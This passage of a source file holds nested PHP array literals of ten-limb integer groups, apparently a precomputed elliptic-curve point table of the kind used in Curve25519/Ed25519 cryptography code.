-24363064, -15921875, -33374054, 2771025), array(-21389266, 421932, 26597266, 6860826, 22486084, -6737172, -17137485, -4210226, -24552282, 15673397), ), array( array(-20184622, 2338216, 19788685, -9620956, -4001265, -8740893, -20271184, 4733254, 3727144, -12934448), array(6120119, 814863, -11794402, -622716, 6812205, -15747771, 2019594, 7975683, 31123697, -10958981), array(30069250, -11435332, 30434654, 2958439, 18399564, -976289, 12296869, 9204260, -16432438, 9648165), ), array( array(32705432, -1550977, 30705658, 7451065, -11805606, 9631813, 3305266, 5248604, -26008332, -11377501), array(17219865, 2375039, -31570947, -5575615, -19459679, 9219903, 294711, 15298639, 2662509, -16297073), array(-1172927, -7558695, -4366770, -4287744, -21346413, -8434326, 32087529, -1222777, 32247248, -14389861), ), array( array(14312628, 1221556, 17395390, -8700143, -4945741, -8684635, -28197744, -9637817, -16027623, -13378845), array(-1428825, -9678990, -9235681, 6549687, -7383069, -468664, 23046502, 9803137, 17597934, 2346211), array(18510800, 15337574, 26171504, 981392, -22241552, 7827556, -23491134, -11323352, 3059833, -11782870), ), array( array(10141598, 6082907, 17829293, -1947643, 9830092, 13613136, -25556636, -5544586, -33502212, 3592096), array(33114168, -15889352, -26525686, -13343397, 33076705, 8716171, 1151462, 1521897, -982665, -6837803), array(-32939165, -4255815, 23947181, -324178, -33072974, -12305637, -16637686, 3891704, 26353178, 693168), ), array( array(30374239, 1595580, -16884039, 13186931, 4600344, 406904, 9585294, -400668, 31375464, 14369965), array(-14370654, -7772529, 1510301, 6434173, -18784789, -6262728, 32732230, -13108839, 17901441, 16011505), array(18171223, -11934626, -12500402, 15197122, -11038147, -15230035, -19172240, -16046376, 8764035, 12309598), ), ), array( array( array(5975908, -5243188, -19459362, -9681747, -11541277, 14015782, -23665757, 1228319, 17544096, -10593782), array(5811932, -1715293, 3442887, -2269310, -18367348, -8359541, -18044043, -15410127, -5565381, 12348900), array(-31399660, 11407555, 25755363, 6891399, -3256938, 14872274, -24849353, 8141295, -10632534, -585479), ), array( array(-12675304, 694026, -5076145, 13300344, 14015258, -14451394, -9698672, -11329050, 30944593, 1130208), array(8247766, -6710942, -26562381, -7709309, -14401939, -14648910, 4652152, 2488540, 23550156, -271232), array(17294316, -3788438, 7026748, 15626851, 22990044, 113481, 2267737, -5908146, -408818, -137719), ), array( array(16091085, -16253926, 18599252, 7340678, 2137637, -1221657, -3364161, 14550936, 3260525, -7166271), array(-4910104, -13332887, 18550887, 10864893, -16459325, -7291596, -23028869, -13204905, -12748722, 2701326), array(-8574695, 16099415, 4629974, -16340524, -20786213, -6005432, -10018363, 9276971, 11329923, 1862132), ), array( array(14763076, -15903608, -30918270, 3689867, 3511892, 10313526, -21951088, 12219231, -9037963, -940300), array(8894987, -3446094, 6150753, 3013931, 301220, 15693451, -31981216, -2909717, -15438168, 11595570), array(15214962, 3537601, -26238722, -14058872, 4418657, -15230761, 13947276, 10730794, -13489462, -4363670), ), array( array(-2538306, 7682793, 32759013, 263109, -29984731, -7955452, -22332124, -10188635, 977108, 699994), array(-12466472, 4195084, -9211532, 550904, -15565337, 12917920, 19118110, -439841, -30534533, -14337913), array(31788461, -14507657, 4799989, 7372237, 8808585, -14747943, 9408237, -10051775, 12493932, -5409317), ), array( array(-25680606, 5260744, -19235809, -6284470, -3695942, 16566087, 27218280, 2607121, 29375955, 6024730), array(842132, -2794693, -4763381, -8722815, 26332018, -12405641, 11831880, 6985184, -9940361, 2854096), array(-4847262, -7969331, 2516242, -5847713, 9695691, -7221186, 16512645, 960770, 12121869, 16648078), ), array( array(-15218652, 14667096, -13336229, 2013717, 30598287, -464137, -31504922, -7882064, 20237806, 2838411), array(-19288047, 4453152, 15298546, -16178388, 22115043, -15972604, 12544294, -13470457, 1068881, -12499905), array(-9558883, -16518835, 33238498, 13506958, 30505848, -1114596, -8486907, -2630053, 12521378, 4845654), ), array( array(-28198521, 10744108, -2958380, 10199664, 7759311, -13088600, 3409348, -873400, -6482306, -12885870), array(-23561822, 6230156, -20382013, 10655314, -24040585, -11621172, 10477734, -1240216, -3113227, 13974498), array(12966261, 15550616, -32038948, -1615346, 21025980, -629444, 5642325, 7188737, 18895762, 12629579), ), ), array( array( array(14741879, -14946887, 22177208, -11721237, 1279741, 8058600, 11758140, 789443, 32195181, 3895677), array(10758205, 15755439, -4509950, 9243698, -4879422, 6879879, -2204575, -3566119, -8982069, 4429647), array(-2453894, 15725973, -20436342, -10410672, -5803908, -11040220, -7135870, -11642895, 18047436, -15281743), ), array( array(-25173001, -11307165, 29759956, 11776784, -22262383, -15820455, 10993114, -12850837, -17620701, -9408468), array(21987233, 700364, -24505048, 14972008, -7774265, -5718395, 32155026, 2581431, -29958985, 8773375), array(-25568350, 454463, -13211935, 16126715, 25240068, 8594567, 20656846, 12017935, -7874389, -13920155), ), array( array(6028182, 6263078, -31011806, -11301710, -818919, 2461772, -31841174, -5468042, -1721788, -2776725), array(-12278994, 16624277, 987579, -5922598, 32908203, 1248608, 7719845, -4166698, 28408820, 6816612), array(-10358094, -8237829, 19549651, -12169222, 22082623, 16147817, 20613181, 13982702, -10339570, 5067943), ), array( array(-30505967, -3821767, 12074681, 13582412, -19877972, 2443951, -19719286, 12746132, 5331210, -10105944), array(30528811, 3601899, -1957090, 4619785, -27361822, -15436388, 24180793, -12570394, 27679908, -1648928), array(9402404, -13957065, 32834043, 10838634, -26580150, -13237195, 26653274, -8685565, 22611444, -12715406), ), array( array(22190590, 1118029, 22736441, 15130463, -30460692, -5991321, 19189625, -4648942, 4854859, 6622139), array(-8310738, -2953450, -8262579, -3388049, -10401731, -271929, 13424426, -3567227, 26404409, 13001963), array(-31241838, -15415700, -2994250, 8939346, 11562230, -12840670, -26064365, -11621720, -15405155, 11020693), ), array( array(1866042, -7949489, -7898649, -10301010, 12483315, 13477547, 3175636, -12424163, 28761762, 1406734), array(-448555, -1777666, 13018551, 3194501, -9580420, -11161737, 24760585, -4347088, 25577411, -13378680), array(-24290378, 4759345, -690653, -1852816, 2066747, 10693769, -29595790, 9884936, -9368926, 4745410), ), array( array(-9141284, 6049714, -19531061, -4341411, -31260798, 9944276, -15462008, -11311852, 10931924, -11931931), array(-16561513, 14112680, -8012645, 4817318, -8040464, -11414606, -22853429, 10856641, -20470770, 13434654), array(22759489, -10073434, -16766264, -1871422, 13637442, -10168091, 1765144, -12654326, 28445307, -5364710), ), array( array(29875063, 12493613, 2795536, -3786330, 1710620, 15181182, -10195717, -8788675, 9074234, 1167180), array(-26205683, 11014233, -9842651, -2635485, -26908120, 7532294, -18716888, -9535498, 3843903, 9367684), array(-10969595, -6403711, 9591134, 9582310, 11349256, 108879, 16235123, 8601684, -139197, 4242895), ), ), array( array( array(22092954, -13191123, -2042793, -11968512, 32186753, -11517388, -6574341, 2470660, -27417366, 16625501), array(-11057722, 3042016, 13770083, -9257922, 584236, -544855, -7770857, 2602725, -27351616, 14247413), array(6314175, -10264892, -32772502, 15957557, -10157730, 168750, -8618807, 14290061, 27108877, -1180880), ), array( array(-8586597, -7170966, 13241782, 10960156, -32991015, -13794596, 33547976, -11058889, -27148451, 981874), array(22833440, 9293594, -32649448, -13618667, -9136966, 14756819, -22928859, -13970780, -10479804, -16197962), array(-7768587, 3326786, -28111797, 10783824, 19178761, 14905060, 22680049, 13906969, -15933690, 3797899), ), array( array(21721356, -4212746, -12206123, 9310182, -3882239, -13653110, 23740224, -2709232, 20491983, -8042152), array(9209270, -15135055, -13256557, -6167798, -731016, 15289673, 25947805, 15286587, 30997318, -6703063), array(7392032, 16618386, 23946583, -8039892, -13265164, -1533858, -14197445, -2321576, 17649998, -250080), ), array( array(-9301088, -14193827, 30609526, -3049543, -25175069, -1283752, -15241566, -9525724, -2233253, 7662146), array(-17558673, 1763594, -33114336, 15908610, -30040870, -12174295, 7335080, -8472199, -3174674, 3440183), array(-19889700, -5977008, -24111293, -9688870, 10799743, -16571957, 40450, -4431835, 4862400, 1133), ), array( array(-32856209, -7873957, -5422389, 14860950, -16319031, 7956142, 7258061, 311861, -30594991, -7379421), array(-3773428, -1565936, 28985340, 7499440, 24445838, 9325937, 29727763, 16527196, 18278453, 15405622), array(-4381906, 8508652, -19898366, -3674424, -5984453, 15149970, -13313598, 843523, -21875062, 13626197), ), array( array(2281448, -13487055, -10915418, -2609910, 1879358, 16164207, -10783882, 3953792, 13340839, 15928663), array(31727126, -7179855, -18437503, -8283652, 2875793, -16390330, -25269894, -7014826, -23452306, 5964753), array(4100420, -5959452, -17179337, 6017714, -18705837, 12227141, -26684835, 11344144, 2538215, -7570755), ), array( array(-9433605, 6123113, 11159803, -2156608, 30016280, 14966241, -20474983, 1485421, -629256, -15958862), array(-26804558, 4260919, 11851389, 9658551, -32017107, 16367492, -20205425, -13191288, 11659922, -11115118), array(26180396, 10015009, -30844224, -8581293, 5418197, 9480663, 2231568, -10170080, 33100372, -1306171), ), array( array(15121113, -5201871, -10389905, 15427821, -27509937, -15992507, 21670947, 4486675, -5931810, -14466380), array(16166486, -9483733, -11104130, 6023908, -31926798, -1364923, 2340060, -16254968, -10735770, -10039824), array(28042865, -3557089, -12126526, 12259706, -3717498, -6945899, 6766453, -8689599, 18036436, 5803270), ), ), array( array( array(-817581, 6763912, 11803561, 1585585, 10958447, -2671165, 23855391, 4598332, -6159431, -14117438), array(-31031306, -14256194, 17332029, -2383520, 31312682, -5967183, 696309, 50292, -20095739, 11763584), array(-594563, -2514283, -32234153, 12643980, 12650761, 14811489, 665117, -12613632, -19773211, -10713562), ), array( array(30464590, -11262872, -4127476, -12734478, 19835327, -7105613, -24396175, 2075773, -17020157, 992471), array(18357185, -6994433, 7766382, 16342475, -29324918, 411174, 14578841, 8080033, -11574335, -10601610), array(19598397, 10334610, 12555054, 2555664, 18821899, -10339780, 21873263, 16014234, 26224780, 16452269), ), array( array(-30223925, 5145196, 5944548, 16385966, 3976735, 2009897, -11377804, -7618186, -20533829, 3698650), array(14187449, 3448569, -10636236, -10810935, -22663880, -3433596, 7268410, -10890444, 27394301, 12015369), array(19695761, 16087646, 28032085, 12999827, 6817792, 11427614, 20244189, -1312777, -13259127, -3402461), ), array( array(30860103, 12735208, -1888245, -4699734, -16974906, 2256940, -8166013, 12298312, -8550524, -10393462), array(-5719826, -11245325, -1910649, 15569035, 26642876, -7587760, -5789354, -15118654, -4976164, 12651793), array(-2848395, 9953421, 11531313, -5282879, 26895123, -12697089, -13118820, -16517902, 9768698, -2533218), ), array( array(-24719459, 1894651, -287698, -4704085, 15348719, -8156530, 32767513, 12765450, 4940095, 10678226), array(18860224, 15980149, -18987240, -1562570, -26233012, -11071856, -7843882, 13944024, -24372348, 16582019), array(-15504260, 4970268, -29893044, 4175593, -20993212, -2199756, -11704054, 15444560, -11003761, 7989037), ), array( array(31490452, 5568061, -2412803, 2182383, -32336847, 4531686, -32078269, 6200206, -19686113, -14800171), array(-17308668, -15879940, -31522777, -2831, -32887382, 16375549, 8680158, -16371713, 28550068, -6857132), array(-28126887, -5688091, 16837845, -1820458, -6850681, 12700016, -30039981, 4364038, 1155602, 5988841), ), array( array(21890435, -13272907, -12624011, 12154349, -7831873, 15300496, 23148983, -4470481, 24618407, 8283181), array(-33136107, -10512751, 9975416, 6841041, -31559793, 16356536, 3070187, -7025928, 1466169, 10740210), array(-1509399, -15488185, -13503385, -10655916, 32799044, 909394, -13938903, -5779719, -32164649, -15327040), ), array( array(3960823, -14267803, -28026090, -15918051, -19404858, 13146868, 15567327, 951507, -3260321, -573935), array(24740841, 5052253, -30094131, 8961361, 25877428, 6165135, -24368180, 14397372, -7380369, -6144105), array(-28888365, 3510803, -28103278, -1158478, -11238128, -10631454, -15441463, -14453128, -1625486, -6494814), ), ), array( array( array(793299, -9230478, 8836302, -6235707, -27360908, -2369593, 33152843, -4885251, -9906200, -621852), array(5666233, 525582, 20782575, -8038419, -24538499, 14657740, 16099374, 1468826, -6171428, -15186581), array(-4859255, -3779343, -2917758, -6748019, 7778750, 11688288, -30404353, -9871238, -1558923, -9863646), ), array( array(10896332, -7719704, 824275, 472601, -19460308, 3009587, 25248958, 14783338, -30581476, -15757844), array(10566929, 12612572, -31944212, 11118703, -12633376, 12362879, 21752402, 8822496, 24003793, 14264025), array(27713862, -7355973, -11008240, 9227530, 27050101, 2504721, 23886875, -13117525, 13958495, -5732453), ), array( array(-23481610, 4867226, -27247128, 3900521, 29838369, -8212291, -31889399, -10041781, 7340521, -15410068), array(4646514, -8011124, -22766023, -11532654, 23184553, 8566613, 31366726, -1381061, -15066784, -10375192), array(-17270517, 12723032, -16993061, 14878794, 21619651, -6197576, 27584817, 3093888, -8843694, 3849921), ), array( array(-9064912, 2103172, 25561640, -15125738, -5239824, 9582958, 32477045, -9017955, 5002294, -15550259), array(-12057553, -11177906, 21115585, -13365155, 8808712, -12030708, 16489530, 13378448, -25845716, 12741426), array(-5946367, 10645103, -30911586, 15390284, -3286982, -7118677, 24306472, 15852464, 28834118, -7646072), ), array( array(-17335748, -9107057, -24531279, 9434953, -8472084, -583362, -13090771, 455841, 20461858, 5491305), array(13669248, -16095482, -12481974, -10203039, -14569770, -11893198, -24995986, 11293807, -28588204, -9421832), array(28497928, 6272777, -33022994, 14470570, 8906179, -1225630, 18504674, -14165166, 29867745, -8795943), ), array( array(-16207023, 13517196, -27799630, -13697798, 24009064, -6373891, -6367600, -13175392, 22853429, -4012011), array(24191378, 16712145, -13931797, 15217831, 14542237, 1646131, 18603514, -11037887, 12876623, -2112447), array(17902668, 4518229, -411702, -2829247, 26878217, 5258055, -12860753, 608397, 16031844, 3723494), ), array( array(-28632773, 12763728, -20446446, 7577504, 33001348, -13017745, 17558842, -7872890, 23896954, -4314245), array(-20005381, -12011952, 31520464, 605201, 2543521, 5991821, -2945064, 7229064, -9919646, -8826859), array(28816045, 298879, -28165016, -15920938, 19000928, -1665890, -12680833, -2949325, -18051778, -2082915), ), array( array(16000882, -344896, 3493092, -11447198, -29504595, -13159789, 12577740, 16041268, -19715240, 7847707), array(10151868, 10572098, 27312476, 7922682, 14825339, 4723128, -32855931, -6519018, -10020567, 3852848), array(-11430470, 15697596, -21121557, -4420647, 5386314, 15063598, 16514493, -15932110, 29330899, -15076224), ), ), array( array( array(-25499735, -4378794, -15222908, -6901211, 16615731, 2051784, 3303702, 15490, -27548796, 12314391), array(15683520, -6003043, 18109120, -9980648, 15337968, -5997823, -16717435, 15921866, 16103996, -3731215), array(-23169824, -10781249, 13588192, -1628807, -3798557, -1074929, -19273607, 5402699, -29815713, -9841101), ), array( array(23190676, 2384583, -32714340, 3462154, -29903655, -1529132, -11266856, 8911517, -25205859, 2739713), array(21374101, -3554250, -33524649, 9874411, 15377179, 11831242, -33529904, 6134907, 4931255, 11987849), array(-7732, -2978858, -16223486, 7277597, 105524, -322051, -31480539, 13861388, -30076310, 10117930), ), array( array(-29501170, -10744872, -26163768, 13051539, -25625564, 5089643, -6325503, 6704079, 12890019, 15728940), array(-21972360, -11771379, -951059, -4418840, 14704840, 2695116, 903376, -10428139, 12885167, 8311031), array(-17516482, 5352194, 10384213, -13811658, 7506451, 13453191, 26423267, 4384730, 1888765, -5435404), ), array( array(-25817338, -3107312, -13494599, -3182506, 30896459, -13921729, -32251644, -12707869, -19464434, -3340243), array(-23607977, -2665774, -526091, 4651136, 5765089, 4618330, 6092245, 14845197, 17151279, -9854116), array(-24830458, -12733720, -15165978, 10367250, -29530908, -265356, 22825805, -7087279, -16866484, 16176525), ), array( array(-23583256, 6564961, 20063689, 3798228, -4740178, 7359225, 2006182, -10363426, -28746253, -10197509), array(-10626600, -4486402, -13320562, -5125317, 3432136, -6393229, 23632037, -1940610, 32808310, 1099883), array(15030977, 5768825, -27451236, -2887299, -6427378, -15361371, -15277896, -6809350, 2051441, -15225865), ), array( array(-3362323, -7239372, 7517890, 9824992, 23555850, 295369, 5148398, -14154188, -22686354, 16633660), array(4577086, -16752288, 13249841, -15304328, 19958763, -14537274, 18559670, -10759549, 8402478, -9864273), array(-28406330, -1051581, -26790155, -907698, -17212414, -11030789, 9453451, -14980072, 17983010, 9967138), ), array( array(-25762494, 6524722, 26585488, 9969270, 24709298, 1220360, -1677990, 7806337, 17507396, 3651560), array(-10420457, -4118111, 14584639, 15971087, -15768321, 8861010, 26556809, -5574557, -18553322, -11357135), array(2839101, 14284142, 4029895, 3472686, 14402957, 12689363, -26642121, 8459447, -5605463, -7621941), ), array( array(-4839289, -3535444, 9744961, 2871048, 25113978, 3187018, -25110813, -849066, 17258084, -7977739), array(18164541, -10595176, -17154882, -1542417, 19237078, -9745295, 23357533, -15217008, 26908270, 12150756), array(-30264870, -7647865, 5112249, -7036672, -1499807, -6974257, 43168, -5537701, -32302074, 16215819), ), ), array( array( array(-6898905, 9824394, -12304779, -4401089, -31397141, -6276835, 32574489, 12532905, -7503072, -8675347), array(-27343522, -16515468, -27151524, -10722951, 946346, 16291093, 254968, 7168080, 21676107, -1943028), array(21260961, -8424752, -16831886, -11920822, -23677961, 3968121, -3651949, -6215466, -3556191, -7913075), ), array( array(16544754, 13250366, -16804428, 15546242, -4583003, 12757258, -2462308, -8680336, -18907032, -9662799), array(-2415239, -15577728, 18312303, 4964443, -15272530, -12653564, 26820651, 16690659, 25459437, -4564609), array(-25144690, 11425020, 28423002, -11020557, -6144921, -15826224, 9142795, -2391602, -6432418, -1644817), ), array( array(-23104652, 6253476, 16964147, -3768872, -25113972, -12296437, -27457225, -16344658, 6335692, 7249989), array(-30333227, 13979675, 7503222, -12368314, -11956721, -4621693, -30272269, 2682242, 25993170, -12478523), array(4364628, 5930691, 32304656, -10044554, -8054781, 15091131, 22857016, -10598955, 31820368, 15075278), ), array( array(31879134, -8918693, 17258761, 90626, -8041836, -4917709, 24162788, -9650886, -17970238, 12833045), array(19073683, 14851414, -24403169, -11860168, 7625278, 11091125, -19619190, 2074449, -9413939, 14905377), array(24483667, -11935567, -2518866, -11547418, -1553130, 15355506, -25282080, 9253129, 27628530, -7555480), ), array( array(17597607, 8340603, 19355617, 552187, 26198470, -3176583, 4593324, -9157582, -14110875, 15297016), array(510886, 14337390, -31785257, 16638632, 6328095, 2713355, -20217417, -11864220, 8683221, 2921426), array(18606791, 11874196, 27155355, -5281482, -24031742, 6265446, -25178240, -1278924, 4674690, 13890525), ), array( array(13609624, 13069022, -27372361, -13055908, 24360586, 9592974, 14977157, 9835105, 4389687, 288396), array(9922506, -519394, 13613107, 5883594, -18758345, -434263, -12304062, 8317628, 23388070, 16052080), array(12720016, 11937594, -31970060, -5028689, 26900120, 8561328, -20155687, -11632979, -14754271, -10812892), ), array( array(15961858, 14150409, 26716931, -665832, -22794328, 13603569, 11829573, 7467844, -28822128, 929275), array(11038231, -11582396, -27310482, -7316562, -10498527, -16307831, -23479533, -9371869, -21393143, 2465074), array(20017163, -4323226, 27915242, 1529148, 12396362, 15675764, 13817261, -9658066, 2463391, -4622140), ), array( array(-16358878, -12663911, -12065183, 4996454, -1256422, 1073572, 9583558, 12851107, 4003896, 12673717), array(-1731589, -15155870, -3262930, 16143082, 19294135, 13385325, 14741514, -9103726, 7903886, 2348101), array(24536016, -16515207, 12715592, -3862155, 1511293, 10047386, -3842346, -7129159, -28377538, 10048127), ), ), array( array( array(-12622226, -6204820, 30718825, 2591312, -10617028, 12192840, 18873298, -7297090, -32297756, 15221632), array(-26478122, -11103864, 11546244, -1852483, 9180880, 7656409, -21343950, 2095755, 29769758, 6593415), array(-31994208, -2907461, 4176912, 3264766, 12538965, -868111, 26312345, -6118678, 30958054, 8292160), ), array( array(31429822, -13959116, 29173532, 15632448, 12174511, -2760094, 32808831, 3977186, 26143136, -3148876), array(22648901, 1402143, -22799984, 13746059, 7936347, 365344, -8668633, -1674433, -3758243, -2304625), array(-15491917, 8012313, -2514730, -12702462, -23965846, -10254029, -1612713, -1535569, -16664475, 8194478), ), array( array(27338066, -7507420, -7414224, 10140405, -19026427, -6589889, 27277191, 8855376, 28572286, 3005164), array(26287124, 4821776, 25476601, -4145903, -3764513, -15788984, -18008582, 1182479, -26094821, -13079595), array(-7171154, 3178080, 23970071, 6201893, -17195577, -4489192, -21876275, -13982627, 32208683, -1198248), ), array( array(-16657702, 2817643, -10286362, 14811298, 6024667, 13349505, -27315504, -10497842, -27672585, -11539858), array(15941029, -9405932, -21367050, 8062055, 31876073, -238629, -15278393, -1444429, 15397331, -4130193), array(8934485, -13485467, -23286397, -13423241, -32446090, 14047986, 31170398, -1441021, -27505566, 15087184), ), array( array(-18357243, -2156491, 24524913, -16677868, 15520427, -6360776, -15502406, 11461896, 16788528, -5868942), array(-1947386, 16013773, 21750665, 3714552, -17401782, -16055433, -3770287, -10323320, 31322514, -11615635), array(21426655, -5650218, -13648287, -5347537, -28812189, -4920970, -18275391, -14621414, 13040862, -12112948), ), array( array(11293895, 12478086, -27136401, 15083750, -29307421, 14748872, 14555558, -13417103, 1613711, 4896935), array(-25894883, 15323294, -8489791, -8057900, 25967126, -13425460, 2825960, -4897045, -23971776, -11267415), array(-15924766, -5229880, -17443532, 6410664, 3622847, 10243618, 20615400, 12405433, -23753030, -8436416), ), array( array(-7091295, 12556208, -20191352, 9025187, -17072479, 4333801, 4378436, 2432030, 23097949, -566018), array(4565804, -16025654, 20084412, -7842817, 1724999, 189254, 24767264, 10103221, -18512313, 2424778), array(366633, -11976806, 8173090, -6890119, 30788634, 5745705, -7168678, 1344109, -3642553, 12412659), ), array( array(-24001791, 7690286, 14929416, -168257, -32210835, -13412986, 24162697, -15326504, -3141501, 11179385), array(18289522, -14724954, 8056945, 16430056, -21729724, 7842514, -6001441, -1486897, -18684645, -11443503), array(476239, 6601091, -6152790, -9723375, 17503545, -4863900, 27672959, 13403813, 11052904, 5219329), ), ), array( array( array(20678546, -8375738, -32671898, 8849123, -5009758, 14574752, 31186971, -3973730, 9014762, -8579056), array(-13644050, -10350239, -15962508, 5075808, -1514661, -11534600, -33102500, 9160280, 8473550, -3256838), array(24900749, 14435722, 17209120, -15292541, -22592275, 9878983, -7689309, -16335821, -24568481, 11788948), ), array( array(-3118155, -11395194, -13802089, 14797441, 9652448, -6845904, -20037437, 10410733, -24568470, -1458691), array(-15659161, 16736706, -22467150, 10215878, -9097177, 7563911, 11871841, -12505194, -18513325, 8464118), array(-23400612, 8348507, -14585951, -861714, -3950205, -6373419, 14325289, 8628612, 33313881, -8370517), ), array( array(-20186973, -4967935, 22367356, 5271547, -1097117, -4788838, -24805667, -10236854, -8940735, -5818269), array(-6948785, -1795212, -32625683, -16021179, 32635414, -7374245, 15989197, -12838188, 28358192, -4253904), array(-23561781, -2799059, -32351682, -1661963, -9147719, 10429267, -16637684, 4072016, -5351664, 5596589), ), array( array(-28236598, -3390048, 12312896, 6213178, 3117142, 16078565, 29266239, 2557221, 1768301, 15373193), array(-7243358, -3246960, -4593467, -7553353, -127927, -912245, -1090902, -4504991, -24660491, 3442910), array(-30210571, 5124043, 14181784, 8197961, 18964734, -11939093, 22597931, 7176455, -18585478, 13365930), ), array( array(-7877390, -1499958, 8324673, 4690079, 6261860, 890446, 24538107, -8570186, -9689599, -3031667), array(25008904, -10771599, -4305031, -9638010, 16265036, 15721635, 683793, -11823784, 15723479, -15163481), array(-9660625, 12374379, -27006999, -7026148, -7724114, -12314514, 11879682, 5400171, 519526, -1235876), ), array( array(22258397, -16332233, -7869817, 14613016, -22520255, -2950923, -20353881, 7315967, 16648397, 7605640), array(-8081308, -8464597, -8223311, 9719710, 19259459, -15348212, 23994942, -5281555, -9468848, 4763278), array(-21699244, 9220969, -15730624, 1084137, -25476107, -2852390, 31088447, -7764523, -11356529, 728112), ), array( array(26047220, -11751471, -6900323, -16521798, 24092068, 9158119, -4273545, -12555558, -29365436, -5498272), array(17510331, -322857, 5854289, 8403524, 17133918, -3112612, -28111007, 12327945, 10750447, 10014012), array(-10312768, 3936952, 9156313, -8897683, 16498692, -994647, -27481051, -666732, 3424691, 7540221), ), array( array(30322361, -6964110, 11361005, -4143317, 7433304, 4989748, -7071422, -16317219, -9244265, 15258046), array(13054562, -2779497, 19155474, 469045, -12482797, 4566042, 5631406, 2711395, 1062915, -5136345), array(-19240248, -11254599, -29509029, -7499965, -5835763, 13005411, -6066489, 12194497, 32960380, 1459310), ), ), array( array( array(19852034, 7027924, 23669353, 10020366, 8586503, -6657907, 394197, -6101885, 18638003, -11174937), array(31395534, 15098109, 26581030, 8030562, -16527914, -5007134, 9012486, -7584354, -6643087, -5442636), array(-9192165, -2347377, -1997099, 4529534, 25766844, 607986, -13222, 9677543, -32294889, -6456008), ), array( array(-2444496, -149937, 29348902, 8186665, 1873760, 12489863, -30934579, -7839692, -7852844, -8138429), array(-15236356, -15433509, 7766470, 746860, 26346930, -10221762, -27333451, 10754588, -9431476, 5203576), array(31834314, 14135496, -770007, 5159118, 20917671, -16768096, -7467973, -7337524, 31809243, 7347066), ), array( array(-9606723, -11874240, 20414459, 13033986, 13716524, -11691881, 19797970, -12211255, 15192876, -2087490), array(-12663563, -2181719, 1168162, -3804809, 26747877, -14138091, 10609330, 12694420, 33473243, -13382104), array(33184999, 11180355, 15832085, -11385430, -1633671, 225884, 15089336, -11023903, -6135662, 14480053), ), array( array(31308717, -5619998, 31030840, -1897099, 15674547, -6582883, 5496208, 13685227, 27595050, 8737275), array(-20318852, -15150239, 10933843, -16178022, 8335352, -7546022, -31008351, -12610604, 26498114, 66511), array(22644454, -8761729, -16671776, 4884562, -3105614, -13559366, 30540766, -4286747, -13327787, -7515095), ), array( array(-28017847, 9834845, 18617207, -2681312, -3401956, -13307506, 8205540, 13585437, -17127465, 15115439), array(23711543, -672915, 31206561, -8362711, 6164647, -9709987, -33535882, -1426096, 8236921, 16492939), array(-23910559, -13515526, -26299483, -4503841, 25005590, -7687270, 19574902, 10071562, 6708380, -6222424), ), array( array(2101391, -4930054, 19702731, 2367575, -15427167, 1047675, 5301017, 9328700, 29955601, -11678310), array(3096359, 9271816, -21620864, -15521844, -14847996, -7592937, -25892142, -12635595, -9917575, 6216608), array(-32615849, 338663, -25195611, 2510422, -29213566, -13820213, 24822830, -6146567, -26767480, 7525079), ), array( array(-23066649, -13985623, 16133487, -7896178, -3389565, 778788, -910336, -2782495, -19386633, 11994101), array(21691500, -13624626, -641331, -14367021, 3285881, -3483596, -25064666, 9718258, -7477437, 13381418), array(18445390, -4202236, 14979846, 11622458, -1727110, -3582980, 23111648, -6375247, 28535282, 15779576), ), array( array(30098053, 3089662, -9234387, 16662135, -21306940, 11308411, -14068454, 12021730, 9955285, -16303356), array(9734894, -14576830, -7473633, -9138735, 2060392, 11313496, -18426029, 9924399, 20194861, 13380996), array(-26378102, -7965207, -22167821, 15789297, -18055342, -6168792, -1984914, 15707771, 26342023, 10146099), ), ), array( array( array(-26016874, -219943, 21339191, -41388, 19745256, -2878700, -29637280, 2227040, 21612326, -545728), array(-13077387, 1184228, 23562814, -5970442, -20351244, -6348714, 25764461, 12243797, -20856566, 11649658), array(-10031494, 11262626, 27384172, 2271902, 26947504, -15997771, 39944, 6114064, 33514190, 2333242), ), array( array(-21433588, -12421821, 8119782, 7219913, -21830522, -9016134, -6679750, -12670638, 24350578, -13450001), array(-4116307, -11271533, -23886186, 4843615, -30088339, 690623, -31536088, -10406836, 8317860, 12352766), array(18200138, -14475911, -33087759, -2696619, -23702521, -9102511, -23552096, -2287550, 20712163, 6719373), ), array( array(26656208, 6075253, -7858556, 1886072, -28344043, 4262326, 11117530, -3763210, 26224235, -3297458), array(-17168938, -14854097, -3395676, -16369877, -19954045, 14050420, 21728352, 9493610, 18620611, -16428628), array(-13323321, 13325349, 11432106, 5964811, 18609221, 6062965, -5269471, -9725556, -30701573, -16479657), ), array( array(-23860538, -11233159, 26961357, 1640861, -32413112, -16737940, 12248509, -5240639, 13735342, 1934062), array(25089769, 6742589, 17081145, -13406266, 21909293, -16067981, -15136294, -3765346, -21277997, 5473616), array(31883677, -7961101, 1083432, -11572403, 22828471, 13290673, -7125085, 12469656, 29111212, -5451014), ), array( array(24244947, -15050407, -26262976, 2791540, -14997599, 16666678, 24367466, 6388839, -10295587, 452383), array(-25640782, -3417841, 5217916, 16224624, 19987036, -4082269, -24236251, -5915248, 15766062, 8407814), array(-20406999, 13990231, 15495425, 16395525, 5377168, 15166495, -8917023, -4388953, -8067909, 2276718), ), array( array(30157918, 12924066, -17712050, 9245753, 19895028, 3368142, -23827587, 5096219, 22740376, -7303417), array(2041139, -14256350, 7783687, 13876377, -25946985, -13352459, 24051124, 13742383, -15637599, 13295222), array(33338237, -8505733, 12532113, 7977527, 9106186, -1715251, -17720195, -4612972, -4451357, -14669444), ), array( array(-20045281, 5454097, -14346548, 6447146, 28862071, 1883651, -2469266, -4141880, 7770569, 9620597), array(23208068, 7979712, 33071466, 8149229, 1758231, -10834995, 30945528, -1694323, -33502340, -14767970), array(1439958, -16270480, -1079989, -793782, 4625402, 10647766, -5043801, 1220118, 30494170, -11440799), ), array( array(-5037580, -13028295, -2970559, -3061767, 15640974, -6701666, -26739026, 926050, -1684339, -13333647), array(13908495, -3549272, 30919928, -6273825, -21521863, 7989039, 9021034, 9078865, 3353509, 4033511), array(-29663431, -15113610, 32259991, -344482, 24295849, -12912123, 23161163, 8839127, 27485041, 7356032), ), ), array( array( array(9661027, 705443, 11980065, -5370154, -1628543, 14661173, -6346142, 2625015, 28431036, -16771834), array(-23839233, -8311415, -25945511, 7480958, -17681669, -8354183, -22545972, 14150565, 15970762, 4099461), array(29262576, 16756590, 26350592, -8793563, 8529671, -11208050, 13617293, -9937143, 11465739, 8317062), ), array( array(-25493081, -6962928, 32500200, -9419051, -23038724, -2302222, 14898637, 3848455, 20969334, -5157516), array(-20384450, -14347713, -18336405, 13884722, -33039454, 2842114, -21610826, -3649888, 11177095, 14989547), array(-24496721, 